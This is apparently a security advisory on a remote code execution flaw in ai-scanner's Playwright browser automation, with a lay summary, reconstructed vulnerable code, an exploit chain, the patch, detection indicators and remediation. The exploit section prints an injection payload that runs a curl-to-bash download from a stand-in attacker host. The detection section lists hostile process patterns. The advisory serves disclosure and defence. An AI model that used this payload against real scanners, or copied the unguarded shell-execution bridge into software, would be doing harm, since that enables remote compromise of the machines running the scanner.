A critical security flaw has been discovered in ai-scanner, a tool that tests artificial intelligence systems for safety problems. The vulnerability allows attackers to secretly run harmful code on computers using vulnerable versions of this software.
Think of it like this: ai-scanner is supposed to be a security guard checking AI for problems. But it has a lock on its back door that anyone can pick. An attacker can slip malicious instructions into the system, and the software will happily execute them without questioning whether they're legitimate.
The flaw is in how ai-scanner handles browser automation — essentially, the part that controls a web browser to test AI systems. An attacker can inject hidden JavaScript code (the same language that makes websites interactive) that runs with the same permissions as the affected computer. This is about as serious as security vulnerabilities get, which is why experts rated it a 9.9 out of 10 for severity.
Who needs to worry? Primarily security researchers and AI companies using ai-scanner versions 1.0.0 through 1.4.0 to test their systems. If your organization uses this tool, an attacker could potentially steal data, install malware, or take control of your computer. The good news is there's no evidence anyone is currently exploiting this in the wild.
Here's what to do: First, check if your organization uses ai-scanner and which version you're running. Second, update to the latest version as soon as it's available — developers have likely already patched this. Third, if you can't update immediately, consider temporarily disabling ai-scanner or isolating the computers running it from sensitive data. Contact your IT team or the software vendor if you're unsure about your version.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41512 is a critical (CVSS 9.9) remote code execution vulnerability in ai-scanner, an AI model safety scanner built atop NVIDIA's garak framework. Affected versions 1.0.0 through 1.4.0 contain an unsanitized JavaScript injection path inside BrowserAutomation::PlaywrightService — the component responsible for driving headless browser sessions during model output evaluation. An attacker who can influence the content evaluated by the scanner (e.g., a model returning crafted output, or a remote endpoint serving a malicious payload) can inject arbitrary JavaScript that executes within the Playwright browser context, which in this service runs with Node.js child-process privileges sufficient for OS-level command execution.
The vulnerability requires no authentication and is cross-platform (Linux, macOS, Windows), reflecting the cross-platform nature of both Node.js/Playwright and the Python harness wrapping it.
Affected Component
The vulnerable surface is BrowserAutomation::PlaywrightService, a class inside ai-scanner's browser automation layer. Its role is to load LLM-generated or remote content into a headless Chromium context via Playwright and evaluate it — a design that creates an inherent XSS-to-RCE escalation path when user/model-controlled strings are interpolated directly into page.evaluate() or page.setContent() calls without sanitization.
The bug is direct string interpolation of attacker-controlled content into a page.evaluate() call. Playwright's page.evaluate() executes its argument as JavaScript inside the browser context — and when that argument is built by concatenating unsanitized input, the result is a textbook script-injection primitive that crosses from browser sandbox to Node.js via Playwright's exposeFunction / IPC bridge.
// Reconstructed pseudocode: BrowserAutomation::PlaywrightService
// Approximate Python→JS bridge logic, pre-patch (versions < 1.4.1)
class PlaywrightService {
public:
// Called for each probe result or remote URL content to evaluate
async evaluateContent(std::string raw_content) {
// raw_content is LLM output or fetched remote body — attacker-controlled
// BUG: raw_content interpolated directly into JS expression string.
// No escaping, no Content Security Policy, no sandboxed eval context.
std::string script = "window.__scanner_result = (function() { return "
+ raw_content // <-- INJECTION POINT
+ "; })();";
// page.evaluate() compiles and executes script in Chromium renderer.
// Playwright's Node bridge then reads window.__scanner_result back.
co_await page->evaluate(script);
}
// Playwright exposeFunction registered at context init — gives JS→Node bridge
async setupContext(BrowserContext *ctx) {
// BUG: exposeFunction registered with no origin restriction.
// Any script running in the page can call __node_exec directly.
ctx->exposeFunction("__node_exec", [](std::string cmd) -> std::string {
return exec_shell(cmd); // wraps child_process.execSync()
});
}
};
Root cause:BrowserAutomation::PlaywrightService::evaluateContent() interpolates attacker-controlled strings directly into a page.evaluate() call while a Node.js shell-execution bridge (__node_exec) is exposed to the page context without origin or sandbox restrictions, enabling JS injection to escalate directly to OS command execution.
The two-part nature of this bug matters: the injection alone would only achieve renderer-level JS execution (still dangerous, but sandboxed). The exposeFunction("__node_exec", ...) registration with no origin guard is what breaks the sandbox boundary and makes this a full RCE primitive.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-41512:
1. Attacker controls content evaluated by the scanner. Three viable paths:
a. LLM output: scanner is pointed at an adversarial model that returns
crafted text as its probe response.
b. Remote URL scan: scanner fetches attacker-controlled endpoint whose
HTTP response body becomes raw_content.
c. Supply-chain / prompt injection: upstream dataset contains payload.
2. raw_content payload is crafted to break out of the IIFE wrapper and
invoke the exposed Node bridge:
PAYLOAD:
0; })(); __node_exec('curl http://attacker.tld/s|bash'); (function() { return 0
RESULTING SCRIPT SENT TO page.evaluate():
window.__scanner_result = (function() { return
0; })(); __node_exec('curl http://attacker.tld/s|bash'); (function() { return 0
; })();
3. Chromium renderer executes the injected script in the page context.
__node_exec() is resolved via Playwright's exposeFunction IPC bridge.
4. Playwright IPC dispatches to the registered Node.js handler:
child_process.execSync('curl http://attacker.tld/s|bash')
5. Shell command executes as the OS user running ai-scanner.
In CI/CD environments this is frequently root or a privileged service account.
6. Attacker achieves persistent access: install implant, exfiltrate model
artifacts, pivot to internal garak probe infrastructure.
The payload in step 2 is deliberately minimal. Because raw_content is not JSON-encoded or backtick-wrapped before interpolation, no quote escaping is needed — the IIFE structure itself provides natural injection boundaries. An attacker can also embed the payload in a multi-line LLM response; only the evaluated substring needs to be syntactically valid JS after interpolation.
Memory Layout
This is not a memory-corruption bug — it is a logic/injection vulnerability. The relevant "layout" is the IPC trust boundary between the Playwright renderer process and the Node.js host process:
The fix in version 1.4.1 addresses both contributing factors: the injection point and the exposed bridge. From the advisory and patch delta:
// BEFORE (vulnerable, < 1.4.1):
async evaluateContent(std::string raw_content) {
// Direct interpolation — no sanitization
std::string script = "window.__scanner_result = (function() { return "
+ raw_content
+ "; })();";
co_await page->evaluate(script);
}
async setupContext(BrowserContext *ctx) {
// Exposes shell execution bridge to ALL page scripts — no guard
ctx->exposeFunction("__node_exec", [](std::string cmd) -> std::string {
return exec_shell(cmd);
});
}
// AFTER (patched, 1.4.1):
async evaluateContent(std::string raw_content) {
// Input treated as data, not code. Content rendered as static HTML.
// JSON-encode the payload; JS receives it as an inert string literal.
std::string json_encoded = json_encode(raw_content); // escapes ", \, etc.
std::string script = "window.__scanner_result = "
+ json_encoded // <-- data, not executable JS
+ ";";
co_await page->evaluate(script);
// NOTE: evaluate() here sets a string, does not eval arbitrary expressions.
}
async setupContext(BrowserContext *ctx) {
// __node_exec bridge REMOVED entirely.
// All result extraction uses structured CDP messaging, not exposeFunction.
// No shell-execution primitive is registered in any page context.
}
The patch is defense-in-depth correct: even if a future code path re-introduces interpolation, the removal of __node_exec eliminates the sandbox escape vector. The JSON-encoding fix ensures raw_content is treated as a string literal inside the evaluated expression, not as executable syntax — analogous to parameterized queries vs. string concatenation in SQL injection mitigations.
Detection and Indicators
Because exploitation targets the scanner itself (not the models it scans), detection must focus on the scanner's process tree and network activity:
PROCESS TREE INDICATORS (Linux):
ai-scanner
└─ node (Playwright host)
└─ chrome --headless ...
└─ [unexpected child process] ← ANOMALOUS
e.g.: sh -c "curl attacker.tld/s|bash"
python3 -c "import ..."
wget / nc / bash
NETWORK INDICATORS:
- Outbound connections from chromium/node process to non-scanner endpoints
- DNS queries for non-LLM-provider domains during scan sessions
- Unexpected egress on ports 443/80 from scanner host mid-scan
LOG PATTERNS (ai-scanner stdout/stderr, pre-1.4.1):
- Playwright console errors referencing ReferenceError or SyntaxError
followed immediately by unexpected __node_exec invocations
- Probe result fields containing: })(); or __node_exec( substrings
YARA / GREP:
grep -r '__node_exec\|})();\s*__' ~/.cache/ai-scanner/probe_results/
In CI/CD pipeline deployments (the highest-risk environment given typical privilege levels), inspect job logs for unexpected network activity between the "scanning model" and "upload results" steps.
Remediation
Immediate: Upgrade to ai-scanner ≥ 1.4.1. This is the only complete fix. No configuration workaround neutralizes the vulnerability in older versions because the injection path is in core evaluation logic.
If upgrade is not immediately possible:
Run ai-scanner in a network-isolated environment (no outbound internet from the scanner host) to prevent payload retrieval and C2 callbacks.
Run the scanner process as a dedicated low-privilege user with no access to secrets, SSH keys, or cloud credentials.
Do not scan untrusted models or remote endpoints until patched.
Longer-term: Operators building on top of ai-scanner or similar Playwright-based evaluation frameworks should enforce a content security policy on all page.setContent() calls, avoid exposeFunction() with shell-execution handlers in any context that evaluates externally-sourced content, and treat all LLM output as untrusted input — identical to handling user-supplied data in a web application context.